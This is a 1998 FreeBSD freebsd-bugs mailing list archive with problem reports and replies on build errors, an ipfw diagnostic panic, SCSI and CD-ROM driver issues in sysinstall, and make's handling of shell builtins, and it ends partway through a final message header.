From owner-freebsd-bugs Sun May 10 00:03:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA25451 for freebsd-bugs-outgoing; Sun, 10 May 1998 00:03:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA25406; Sun, 10 May 1998 00:02:26 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id XAA21634; Sat, 9 May 1998 23:59:01 -0700 (PDT) Date: Sat, 9 May 1998 23:59:01 -0700 (PDT) Message-Id: <199805100659.XAA21634@freefall.freebsd.org> To: cjohnson@camelot.com, jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6567 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: pkg_add -v will not install dependencies State-Changed-From-To: open-closed State-Changed-By: jkh State-Changed-When: Sat May 9 23:58:51 PDT 1998 State-Changed-Why: already fixed in 2.2-stable, thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 06:58:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA25393 for freebsd-bugs-outgoing; Sun, 10 May 1998 06:58:50 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA25386 for ; Sun, 10 May 1998 06:58:45 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id PAA14264 for ; Sun, 10 May 1998 15:58:39 +0200 (MDT) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id PAA29337 for ; Sun, 10 May 1998 15:58:40 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id PAA05911 for ; Sun, 10 May 1998 15:58:41 +0200 (CEST) From: Andre Albsmeier Message-Id: <199805101358.PAA18441@internal> Subject: Re: bin/6138 In-Reply-To: <199805092216.PAA20432@freefall.freebsd.org> from Wolfram Schneider at "May 9, 98 03:16:55 pm" To: wosch@FreeBSD.ORG (Wolfram Schneider) Date: Sun, 10 May 1998 15:58:40 +0200 (CEST) Cc: freebsd-bugs@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Synopsis: error while building 2.2.6 > > State-Changed-From-To: open-closed > State-Changed-By: wosch > State-Changed-When: Sat May 9 15:15:25 PDT 1998 > State-Changed-Why: > A workaround was submitted in revision: 1.6 src/share/info/Makefile > Unfortunately, it doesn't help when doing a "make world". If I create the directory by hand, it will be erased by "make world" when cleaning the temporary build directory. IMHO, the only way to solve this is either by 1. creating the directory or 2. ignoring INFODIR at least during the temporary build process. ===> doc /usr/obj/src/src-2.2/gnu/usr.bin/texinfo/doc created for /src/src-2.2/gnu/usr.bin/texinfo/doc cd /src/src-2.2/share/info && /usr/obj/src/src-2.2/tmp/usr/bin/make depend && /usr/obj/src/src-2.2/tmp/usr/bin/make -DNOINFO -DNOMAN -DNOPROFILE all && /usr/obj/src/src-2.2/tmp/usr/bin/make -DNOINFO -DNOMAN -DNOPROFILE -B install cleandir obj Warning: the directory /usr/obj/src/src-2.2/tmp/server/info does not exist! Perhaps the variable INFODIR is set incorrectly or your mtree database files are broken. As a workaround you can create the directory by hand, e.g.: install -d -o bin -g bin -m 0755 /usr/obj/src/src-2.2/tmp/server/info *** Error code 3 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 08:42:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA02539 for freebsd-bugs-outgoing; Sun, 10 May 1998 08:42:41 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from ntu-kpi.kiev.ua (root@ntu-kpi.kiev.ua [195.178.136.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA02487; Sun, 10 May 1998 08:41:18 -0700 (PDT) (envelope-from lx@hosix.ntu-kpi.kiev.ua) Received: from fobos.ntu-kpi.kiev.ua (fobos.ntu-kpi.kiev.ua [10.100.0.6]) by ntu-kpi.kiev.ua (8.8.8/8.7.3) with ESMTP id SAA28521; Sun, 10 May 1998 18:40:30 +0300 (EEST) Received: from hosix.ntu-kpi.kiev.ua (lx.hosix.ntu-kpi.kiev.ua [10.100.23.72]) by fobos.ntu-kpi.kiev.ua (unknown/censored) with ESMTP id SAA29335; Sun, 10 May 1998 18:40:40 +0300 (EEST) Received: (from lx@localhost) by hosix.ntu-kpi.kiev.ua (8.8.8/8.8.7) id SAA00287; Sun, 10 May 1998 18:39:59 +0300 (EEST) (envelope-from lx) Message-ID: <19980510183959.16390@hosix.ntu-kpi.kiev.ua> Date: Sun, 10 May 1998 18:39:59 +0300 From: Alexander Matey To: Poul-Henning Kamp Cc: lx@hosix.ntu-kpi.kiev.ua, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6432 References: <199804291444.HAA20164@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: <199804291444.HAA20164@freefall.freebsd.org>; from Poul-Henning Kamp on Wed, Apr 29, 1998 at 07:44:24AM -0700 Organization: Hostel #6, NTUU /KPI/ Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 29, 1998 at 07:44:24AM -0700, Poul-Henning Kamp wrote: > Synopsis: IFF_NOARP does not affect ethernet interfaces. > > State-Changed-From-To: open-analyzed > State-Changed-By: phk > State-Changed-When: Wed Apr 29 07:43:49 PDT 1998 > State-Changed-Why: > now awaiting the final decision/patch ... and when this "final decision" can be expected to be made ? :-) bye, lx. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 09:16:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA05547 for freebsd-bugs-outgoing; Sun, 10 May 1998 09:16:25 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05538; Sun, 10 May 1998 09:16:10 -0700 (PDT) (envelope-from wosch@FreeBSD.org) From: Wolfram Schneider Received: (from wosch@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA19285; Sun, 10 May 1998 09:12:56 -0700 (PDT) Date: Sun, 10 May 1998 09:12:56 -0700 (PDT) Message-Id: <199805101612.JAA19285@freefall.freebsd.org> To: wosch@DE.FreeBSD.ORG, wosch@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6550 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: make(1): shell meta-character optimization incomplete State-Changed-From-To: closed-open State-Changed-By: wosch State-Changed-When: Sun May 10 09:11:56 PDT 1998 State-Changed-Why: The bug applies to all ash(1) builtin commands: alias bg command cd eval exec true export name fc fg getopts optstring var hash jobid jobs read readonly name set setvar variable value shift trap true 1 ulimit umask unalias unset name wait ~ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 09:23:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA06008 for freebsd-bugs-outgoing; Sun, 10 May 1998 09:23:16 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA06001 for ; Sun, 10 May 1998 09:23:15 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA19324; Sun, 10 May 1998 09:20:01 -0700 (PDT) Received: from mail.dinoex.sub.org (root@mail.dinoex.sub.de [62.104.39.76]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05861 for ; Sun, 10 May 1998 09:20:15 -0700 (PDT) (envelope-from dinoex@net2.dinoex.sub.org) Received: (from uucp@localhost) by mail.dinoex.sub.org (8.8.7/8.8.7) with UUCP id SAA15479 for FreeBSD-gnats-submit@freebsd.org; Sun, 10 May 1998 18:19:30 +0200 (CEST) Received: (from dinoex@localhost) by net2.dinoex.sub.org (8.8.7/8.8.7) id JAA29388; Sun, 10 May 1998 09:41:31 +0200 (CEST) Message-Id: <199805100741.JAA29388@net2.dinoex.sub.org> Date: Sun, 10 May 1998 09:41:31 +0200 (CEST) From: Dirk Meyer Reply-To: dirk.meyer@dinoex.sub.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6574: gdb stackframe in static library shows not the calling function Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6574 >Category: kern >Synopsis: ipfw crash with DIAGANOSTICS >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun May 10 09:20:01 PDT 1998 >Last-Modified: >Originator: Dirk Meyer >Organization: privat >Release: FreeBSD 2.2.5-RELEASE i386 >Environment: >Description: ipfw causes the kernel to panic, if its used the first time >How-To-Repeat: compile your kernel with DIAGNOSTICS and IPFW set up standard rules eg firewall_type=open ping a first packet trough the kernel and it panics. >Fix: none. *** sys/netinet/ip_fw.c Sat Aug 23 16:31:52 1997 --- sys/netinet/ip_fw.c.neu Tue Nov 25 12:09:39 1997 *************** *** 553,562 **** --- 553,564 ---- break; } + #if 0 /* chain ist undef, for all rules without exlpicit direction */ #ifdef DIAGNOSTIC /* Rule 65535 should always be there and should always match */ if (!chain) panic("ip_fw: chain"); + #endif #endif /* >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 09:43:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07891 for freebsd-bugs-outgoing; Sun, 10 May 1998 09:43:21 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07876 for ; Sun, 10 May 1998 09:43:17 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA19499; Sun, 10 May 1998 09:40:03 -0700 (PDT) Received: from alvman.RoBIN.de (alvman.RoBIN.de [193.174.7.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07080 for ; Sun, 10 May 1998 09:36:12 -0700 (PDT) (envelope-from ah@alvman.RoBIN.de) Received: (from ah@localhost) by alvman.RoBIN.de (8.8.8/8.6.9) id SAA01746; Sun, 10 May 1998 18:35:56 +0200 (CEST) Message-Id: <199805101635.SAA01746@alvman.RoBIN.de> Date: Sun, 10 May 1998 18:35:56 +0200 (CEST) From: Andreas Haakh Reply-To: ah@alvman.RoBIN.de To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6575: I can not boot the system, because the scsi-driver Vesa local bus is not attached. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6575 >Category: kern >Synopsis: eisa0:1 (adaptec 2842) .... attach failed >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun May 10 09:40:00 PDT 1998 >Last-Modified: >Originator: Andreas Haakh >Organization: >Release: FreeBSD 2.2.6-STABLE i386 >Environment: This is my configuration in FreeBSD 2.2.5 Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 All rights reserved. May 8 11:45:37 CEST 1998 root@alvman.RoBIN.de:/usr/sys.bisdn/compile/ALVMAN CPU: i486 DX2 (486-class CPU) Stepping=5 Features=0x3 = 33554432 (32768K bytes) avail memory = 30461952 (29748K bytes) ahc0: at 0x1c00-0x1cff irq 15 on eisa0 slot 1 ahc0: aic7770 >= Rev E, Single Channel, SCSI Id=7, 4 SCBs ahc0 waiting for scsi devices to settle (ahc0:0:0): "IBM DPES-31080 S31Q" type 0 fixed SCSI 2 sd0(ahc0:0:0): Direct-Access 1034MB (2118144 512 byte sectors) (ahc0:2:0): "QUANTUM LPS540S 5900" type 0 fixed SCSI 2 sd1(ahc0:2:0): Direct-Access 516MB (1057616 512 byte sectors) (ahc0:4:0): "IBM DCAS-34330 S65A" type 0 fixed SCSI 2 sd2(ahc0:4:0): Direct-Access 4134MB (8467200 512 byte sectors) (ahc0:6:0): "TOSHIBA CD-ROM XM-5301TA 0925" type 5 removable SCSI 2 cd0(ahc0:6:0): CD-ROM cd present [300204 x 2048 byte records] Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0 at 0x300-0x31f irq 10 maddr 0xcc000 msize 16384 on isa ed0: address 00:00:c0:3b:b9:a7, type SMC8216/SMC8216C (16 bit) sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16450 sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16450 lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 at 0x278-0x27f on isa fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in tel0 at 0xd80 irq 9 on isa tel0: card type Teles S0/16.3 npx0 flags 0x1 on motherboard npx0: INT 16 interface IP packet filtering initialized, divert disabled, logging disabled >Description: As the adaptec VL-driver is not attached, the kernel can't mount root. >How-To-Repeat: Using kernel.GENERIC or a customized kernel lead to the described result. >Fix: Unknown >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 09:54:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09403 for freebsd-bugs-outgoing; Sun, 10 May 1998 09:54:53 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from godzilla.zeta.org.au (mothra.kralizec.net.au [203.15.68.22] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA09329; Sun, 10 May 1998 09:54:37 -0700 (PDT) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id CAA14725; Mon, 11 May 1998 02:49:33 +1000 Date: Mon, 11 May 1998 02:49:33 +1000 From: Bruce Evans Message-Id: <199805101649.CAA14725@godzilla.zeta.org.au> To: freebsd-bugs@FreeBSD.ORG, wosch@DE.FreeBSD.ORG, wosch@FreeBSD.ORG Subject: Re: bin/6550 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Synopsis: make(1): shell meta-character optimization incomplete > >State-Changed-From-To: closed-open >State-Changed-By: wosch >State-Changed-When: Sun May 10 09:11:56 PDT 1998 >State-Changed-Why: >The bug applies to all ash(1) builtin commands: This shows why it isn't really a bug. `make' can't be expected to know about all shell builtins, especially nonstandard ones. The bug is that `make' doesn't have a POSIX-conformant mode in which it always execs the shell. No one would use this mode :-). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 10:23:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA12014 for freebsd-bugs-outgoing; Sun, 10 May 1998 10:23:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA12007 for ; Sun, 10 May 1998 10:23:15 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA19962; Sun, 10 May 1998 10:20:01 -0700 (PDT) Received: from localhost.zilker.net (jump-k56flex-0016.jumpnet.com [207.8.6.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA11270 for ; Sun, 10 May 1998 10:14:26 -0700 (PDT) (envelope-from marquard@zilker.net) Received: (from marquard@localhost) by localhost.zilker.net (8.8.8/8.8.3) id MAA01779; Sun, 10 May 1998 12:14:19 -0500 (CDT) Message-Id: <199805101714.MAA01779@localhost.zilker.net> Date: Sun, 10 May 1998 12:14:19 -0500 (CDT) From: marquard@zilker.net Reply-To: marquard@zilker.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: conf/6576: 2.2.6 boot floppy can't mount install CD on matcd0 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6576 >Category: conf >Synopsis: 2.2.6 boot floppy can't mount install CD on matcd0 >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun May 10 10:20:01 PDT 1998 >Last-Modified: >Originator: Dave Marquardt >Organization: None >Release: FreeBSD 2.2.6-RELEASE i386 >Environment: Packard Bell Force 446CDT, 75MHz Pentium. Here's dmesg from after I installed 2.2.6 by installing 2.2.1 and upgrading from source: Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.6-RELEASE #2: Fri May 8 16:44:46 CDT 1998 marquard@localhost.zilker.net:/usr/src/sys/compile/LEFSE CPU: Pentium (75.17-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x524 Stepping=4 Features=0x1bf real memory = 33554432 (32768K bytes) avail memory = 31014912 (30288K bytes) Probing for devices on PCI bus 0: chip0 rev 17 on pci0:0:0 chip1 rev 3 on pci0:2:0 vga0 rev 216 on pci0:3:0 ahc0 rev 1 int a irq 11 on pci0:6:0 ahc0: aic7860 Single Channel, SCSI Id=7, 3 SCBs ahc0:A:4: refuses synchronous negotiation. Using asynchronous transfers (ahc0:4:0): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk0(ahc0:4:0): Unknown (ahc0:4:1): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk1(ahc0:4:1): Unknown (ahc0:4:2): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk2(ahc0:4:2): Unknown (ahc0:4:3): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk3(ahc0:4:3): Unknown (ahc0:4:4): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk4(ahc0:4:4): Unknown (ahc0:4:5): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk5(ahc0:4:5): Unknown (ahc0:4:6): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk6(ahc0:4:6): Unknown (ahc0:4:7): "UMAX Astra 610S V1.3" type 6 fixed SCSI 2 uk7(ahc0:4:7): Unknown ahc0:A:5: refuses synchronous negotiation. Using asynchronous transfers (ahc0:5:0): "IOMEGA ZIP 100 E.08" type 0 removable SCSI 2 sd0(ahc0:5:0): Direct-Access sd0(ahc0:5:0): ILLEGAL REQUEST asc:24,0 Invalid field in CDB sd0 could not mode sense (4). Using ficticious geometry 96MB (196608 512 byte sectors) Probing for PnP devices: CSN 1 Vendor ID: MOT1550 [0x5015f435] Serial 0x055f9d96 PnP: override config for CSN 1 LDN 0 vend_id 0x5015f435 sio1: type 16550A sio1 (siopnp sn 0x055f9d96) at 0x2e8 irq 5 drq -1 flags 0x0 id 10 Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface psm0 at 0x60-0x64 irq 12 on motherboard psm0: model Generic PS/2 mouse, device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 flags 0x80048004 on isa wdc0: unit 0 (wd0): , 32-bit, multi-block-4 wd0: 815MB (1669248 sectors), 1656 cyls, 16 heads, 63 S/T, 512 B/S wdc0: unit 1 (wd1): , 32-bit, multi-block-4 wd1: 1549MB (3173184 sectors), 3148 cyls, 16 heads, 63 S/T, 512 B/S matcd - Matsushita (Panasonic) CD-ROM Driver by FDIV, Version 1(26) 18-Oct-95 matcdc0 at 0x340-0x343 on isa matcdc0 Host interface type 1 matcd0: [CR-5631.02] npx0 on motherboard npx0: INT 16 interface sb0 at 0x220 irq 10 drq 1 on isa sb0: changing root device to wd1s1a Intel Pentium F00F detected, installing workaround >Description: I created a 2.2.6 boot floppy from the 2.2.6 install CD. It booted successfully and I adjusted matcd0 to be found at port 0x340 in user config, finished booting, and matcd0 was found. I set the media type to CD-ROM, selected the Novice install, dedicated all of wd1 except a boot manager area to FreeBSD, partitioned wd1s1, and started the install. The install procedure created filesystems and copied /stand from the boot floppy to the new root partition. When sysinstall tried to mount the CD-ROM, it appeared to try to mount /dev/matcd0c on /dist. I got an error box saying: Error mounting /dev/matcd0c on /dist: Input/output error (5) I switched to the debug screen using ALT-F2 and found this message 7 times over: matcd0: Illegal data mode for this track while reading block 64 After bringing 2.2.1 up with a 2.2.1 boot floppy that found matcd0 (!) I mounted the CVS repository disk and took a look at what might have changed between 2.2.1 and 2.2.6 w.r.t. sysinstall. Well, in 2.2.1 sysinstall's devices.c had an array device_names[], which I excerpt here: static struct { DeviceType type; char *name; char *description; } device_names[] = { { DEVICE_TYPE_CDROM, "cd0a", "SCSI CDROM drive" }, { DEVICE_TYPE_CDROM, "mcd0a", "Mitsumi (old model) CDROM drive" }, { DEVICE_TYPE_CDROM, "scd0a", "Sony CDROM drive - CDU31/33A type", }, { DEVICE_TYPE_CDROM, "matcd0a", "Matsushita CDROM ('sound blaster' type)" }, . . . { NULL }, }; So in 2.2.1 we were mounting /dev/matcd0a. In 2.2.6, devices.c has the same array, but it's changed quite a bit. Here's the appropriate excerpt again: static struct _devname { DeviceType type; char *name; char *description; int major, minor, delta, max; char dev_type; } device_names[] = { { DEVICE_TYPE_CDROM, "cd%dc", "SCSI CDROM drive", 6, 2, 8, 4, 'b' }, { DEVICE_TYPE_CDROM, "mcd%dc", "Mitsumi (old model) CDROM drive", 7, 2, 8, 4, 'b' }, { DEVICE_TYPE_CDROM, "scd%dc", "Sony CDROM drive - CDU31/33A type", 16, 2, 8, 4, 'b' }, { DEVICE_TYPE_CDROM, "matcd%dc", "Matsushita CDROM ('sound blaster' type)", 17, 2, 8, 4, 'b' }, . . . { 0 }, }; So in 2.2.6 we're trying to mount /dev/matcd0c and it fails. I note from the 2.2.6 matcd(4) man page the following: SUPPORTED OPERATIONS The matcd driver supports block and character access. Partition "a" re- turns 2048-byte User Data blocks from data CDs. Partition "c" returns the full 2352-byte Frames from any type of CD, including audio CDs. (Partition "c" cannot be "mounted" with cd9660 or other filesystem emula- tors.) No other partitions are supported. So we should really be mounting /dev/matcd0a, not /dev/matcd0c! >How-To-Repeat: Try to use the 2.2.6 boot floppy to mount from CD-ROM on matcd0. >Fix: I suggest changing this line { DEVICE_TYPE_CDROM, "matcd%dc", "Matsushita CDROM ('sound blaster' type)", 17, 2, 8, 4, 'b' }, to { DEVICE_TYPE_CDROM, "matcd%da", "Matsushita CDROM ('sound blaster' type)", 17, 0, 8, 4, 'b' }, I built a new boot floppy using this and it worked! >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 11:08:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA16364 for freebsd-bugs-outgoing; Sun, 10 May 1998 11:08:19 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA16348; Sun, 10 May 1998 11:08:10 -0700 (PDT) (envelope-from wosch@cs.tu-berlin.de) Received: from panke.panke.de (anonymous223.ppp.cs.tu-berlin.de [130.149.17.223]) by mail.cs.tu-berlin.de (8.8.8/8.8.8) with ESMTP id UAA10162; Sun, 10 May 1998 20:06:29 +0200 (MET DST) Received: (from wosch@localhost) by panke.panke.de (8.8.5/8.6.12) id SAA01284; Sun, 10 May 1998 18:24:13 +0200 (MET DST) Message-ID: <19980510182411.18144@panke.de> Date: Sun, 10 May 1998 18:24:11 +0200 From: Wolfram Schneider To: Andre Albsmeier Cc: Wolfram Schneider , freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6138 References: <199805092216.PAA20432@freefall.freebsd.org> <199805101358.PAA18441@internal> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: <199805101358.PAA18441@internal>; from Andre Albsmeier on Sun, May 10, 1998 at 03:58:40PM +0200 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1998-05-10 15:58:40 +0200, Andre Albsmeier wrote: > > Synopsis: error while building 2.2.6 > > > > State-Changed-From-To: open-closed > > State-Changed-By: wosch > > State-Changed-When: Sat May 9 15:15:25 PDT 1998 > > State-Changed-Why: > > A workaround was submitted in revision: 1.6 src/share/info/Makefile > > > > Unfortunately, it doesn't help when doing a "make world". If I create > the directory by hand, it will be erased by "make world" when cleaning > the temporary build directory. IMHO, the only way to solve this is > either by > > 1. creating the directory > > or > > 2. ignoring INFODIR at least during the temporary build process. 3. change the mtree database (src/etc/mtree/BSD.usr.dist). Make world will then create the info directory for you. > ===> doc > /usr/obj/src/src-2.2/gnu/usr.bin/texinfo/doc created for /src/src-2.2/gnu/usr.bin/texinfo/doc > cd /src/src-2.2/share/info && /usr/obj/src/src-2.2/tmp/usr/bin/make depend && /usr/obj/src/src-2.2/tmp/usr/bin/make -DNOINFO -DNOMAN -DNOPROFILE all && /usr/obj/src/src-2.2/tmp/usr/bin/make -DNOINFO -DNOMAN -DNOPROFILE -B install cleandir obj > Warning: the directory /usr/obj/src/src-2.2/tmp/server/info does not exist! > Perhaps the variable INFODIR is set incorrectly > or your mtree database files are broken. > > As a workaround you can create the directory by hand, e.g.: > install -d -o bin -g bin -m 0755 /usr/obj/src/src-2.2/tmp/server/info > *** Error code 3 > > Stop. > *** Error code 1 > > Stop. > *** Error code 1 > > Stop. > *** Error code 1 > > Stop. > > -Andre > > -- Wolfram Schneider http://www.freebsd.org/~wosch/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 12:42:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA00794 for freebsd-bugs-outgoing; Sun, 10 May 1998 12:42:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA00742; Sun, 10 May 1998 12:41:56 -0700 (PDT) (envelope-from wosch@cs.tu-berlin.de) Received: from panke.panke.de (anonymous224.ppp.cs.tu-berlin.de [130.149.17.224]) by mail.cs.tu-berlin.de (8.8.8/8.8.8) with ESMTP id VAA17839; Sun, 10 May 1998 21:41:03 +0200 (MET DST) Received: (from wosch@localhost) by panke.panke.de (8.8.5/8.6.12) id UAA02006; Sun, 10 May 1998 20:44:53 +0200 (MET DST) Message-ID: <19980510204452.35461@panke.de> Date: Sun, 10 May 1998 20:44:52 +0200 From: Wolfram Schneider To: Bruce Evans Cc: freebsd-bugs@FreeBSD.ORG, wosch@FreeBSD.ORG Subject: Re: bin/6550 References: <199805101649.CAA14725@godzilla.zeta.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: 